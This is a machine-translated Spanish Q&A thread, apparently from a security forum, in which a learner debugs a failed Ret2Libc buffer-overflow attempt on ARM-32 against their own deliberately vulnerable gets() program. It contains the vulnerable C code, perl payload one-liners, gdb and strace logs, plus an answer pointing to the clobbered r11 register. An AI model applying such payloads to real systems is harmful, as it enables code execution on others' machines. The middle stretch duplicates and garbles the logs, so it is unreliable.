BOF en ARM Linux - El intento Ret2Libc con el sistema (3) falla debido a un parámetro anulado

2

Con el espíritu de obtener una comprensión profunda, he leído y trabajado en algunos hacks pequeños que involucran ataques de Buffer OverFlow (BOF), en particular, en un sistema ARM-32, mediante el ataque de estilo Ret2Libc.

Todo funciona bastante bien hasta cierto punto. La técnica básica (los expertos pueden saltarse todo esto, por supuesto): -utiliza deliberadamente una api "mala" - obtiene () en la función foo () a continuación - para que uno pueda fácilmente desbordar su búfer; Pasamos cuidadosamente un búfer creado al programa:

perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln

donde 0x76e9ffac es la dirección de la función glibc 'system ()'. (sí, también lo intenté con ASLR desactivado).

Env: a) Un ARM926EJ-S rev 5 (v5l) (ARM-32) emulado por Qemu que ejecuta el 4.8.12-yocto-estándar kernel de Linux construido con Yocto Poky!

b) un Raspberry Pi 3 Modelo B con Raspbian 8.

EL PROBLEMA: la ejecución procede de la manera esperada, de hecho ingresa el código del sistema (3); He verificado esto incluso con un solo paso a través del código (en la compilación Yocto con la depuración habilitada).

El problema: el parámetro que se pasa a do_system () se está poniendo a cero [??]. Además, he verificado que este es realmente el caso (al realizar un solo paso y hacer una búsqueda de él).

Por favor, vea un ejemplo de ejecución a continuación en el R Pi y un sistema basado en Yocto:

-i uso un archivo (rpi_input3.bin) para alimentar la entrada, que básicamente es: "ls -l". "\ x00" x11. "\ xac \ xff \ xe9 \ x76"

El código 'C' arm_buf_vuln.c:

static void foo(void)
{
    char local[12];
    gets(local);
}

int main (int argc, char **argv)
{
    foo();
    exit (EXIT_SUCCESS);
}

Sesión de muestra en el R Pi:

RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x00010494 <+0>: push    {r11, lr}
   0x00010498 <+4>: add r11, sp, #4
   0x0001049c <+8>: sub sp, sp, #16
   0x000104a0 <+12>:    sub r3, r11, #16
   0x000104a4 <+16>:    mov r0, r3
   0x000104a8 <+20>:    bl  0x1030c
   0x000104ac <+24>:    sub sp, r11, #4
   0x000104b0 <+28>:    pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin 
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin

Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000  0x76e9ffac  0x7efff600  0x00000001
0x7efff538: 0x00000000  0x76e7e294  0x76fa3000  0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c  0x0000006c  0x00000000  0x00000000
0x7efff52c: 0x76e9ffac  0x7efff600  0x00000001  0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179

< < NOTA: en este punto, el parámetro de sistema () es correcto! Pero, en realidad se anula más tarde > >

179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0  0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1  0x000104b4 in foo ()
(gdb) 

En un sistema Yocto, el fragmento de salida de strace:

# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf  << -v: verbose 
                                                       -f: follow any children >>
  ./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL)                               = 0x21000

[...]

brk(NULL)                               = 0x21000
brk(0x43000)                            = 0x43000
read(0, "sh
perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
static void foo(void)
{
    char local[12];
    gets(local);
}

int main (int argc, char **argv)
{
    foo();
    exit (EXIT_SUCCESS);
}
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x00010494 <+0>: push    {r11, lr}
   0x00010498 <+4>: add r11, sp, #4
   0x0001049c <+8>: sub sp, sp, #16
   0x000104a0 <+12>:    sub r3, r11, #16
   0x000104a4 <+16>:    mov r0, r3
   0x000104a8 <+20>:    bl  0x1030c
   0x000104ac <+24>:    sub sp, r11, #4
   0x000104b0 <+28>:    pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin 
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin

Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000  0x76e9ffac  0x7efff600  0x00000001
0x7efff538: 0x00000000  0x76e7e294  0x76fa3000  0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c  0x0000006c  0x00000000  0x00000000
0x7efff52c: 0x76e9ffac  0x7efff600  0x00000001  0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0  0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1  0x000104b4 in foo ()
(gdb) 
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf  << -v: verbose 
                                                       -f: follow any children >>
  ./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL)                               = 0x21000

[...]

brk(NULL)                               = 0x21000
brk(0x43000)                            = 0x43000
read(0, "sh%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20  << this is the gets() !  
                               reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096)                       = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797   
   << the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
 <unfinished ...>  << strace -f takes effect – the child is being followed below >>
[pid   797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid   797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

  << here: the parameter to execve() is null ! Hence, it fails >>

[pid   797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() ! reading in 20 bytes, passed via the pipe from perl... >> read(0, "", 4096) = 0 rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797 << the code of the lib function system(3) calls fork(2) which becomes clone(2) >> wait4(797, strace: Process 797 attached <unfinished ...> << strace -f takes effect – the child is being followed below >> [pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0 [pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0 [pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 << here: the parameter to execve() is null ! Hence, it fails >> [pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0 ...

¿Por qué se anula el parámetro? ¡TIA!

    
pregunta kaiwan 01.03.2017 - 17:51
fuente

1 respuesta

2

Un excelente tutorial sobre el aplastamiento del búfer de pila, si aún no lo has leído, es Destrozando la pila por diversión y ganancias a>.

Lo que has configurado parece ser mayormente correcto (almacenar nuevos argumentos en la pila, encontrar el búfer de pila, inyectar la dirección de la función de destino en la ubicación del pc guardado). Creo que el problema puede estar en el registro guardado por el usuario r11 , que se está restaurando a todos los ceros de su desbordamiento de la pila cuando foo vuelve a system :

0x000104b0 <+28>:    pop {r11, pc}

Verificaría su valor antes / después de gets y vería si restaurarlo soluciona el problema. Si es así, este código ha generado una cookie de pila involuntaria, como resultado de intentar optimizar las convenciones / registros de llamadas ARM.

    
respondido por el Kees Cook 20.03.2017 - 23:44
fuente

Lea otras preguntas en las etiquetas